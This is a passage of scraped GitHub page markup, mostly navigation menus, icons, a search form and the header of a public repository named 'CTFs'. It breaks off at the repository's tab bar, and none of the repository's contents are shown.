<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="149132615" data-scoped-search-url="/twisted-fun/CTFs/search" data-owner-scoped-search-url="/users/twisted-fun/search" data-unscoped-search-url="/search" data-turbo="false" action="/twisted-fun/CTFs/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="SEAj+BrKMqujL4qA1xvhUce0kJeMxGJ7ywN3bMQzBj6iTj3UkPAUG3lnJx8L++bwFF1rRHYxFiqSnCRRX9V/gA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>โต</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โต</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>โต</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โต</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>โต</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โต</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>โต</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โต</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> twisted-fun </span> <span>/</span> CTFs
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
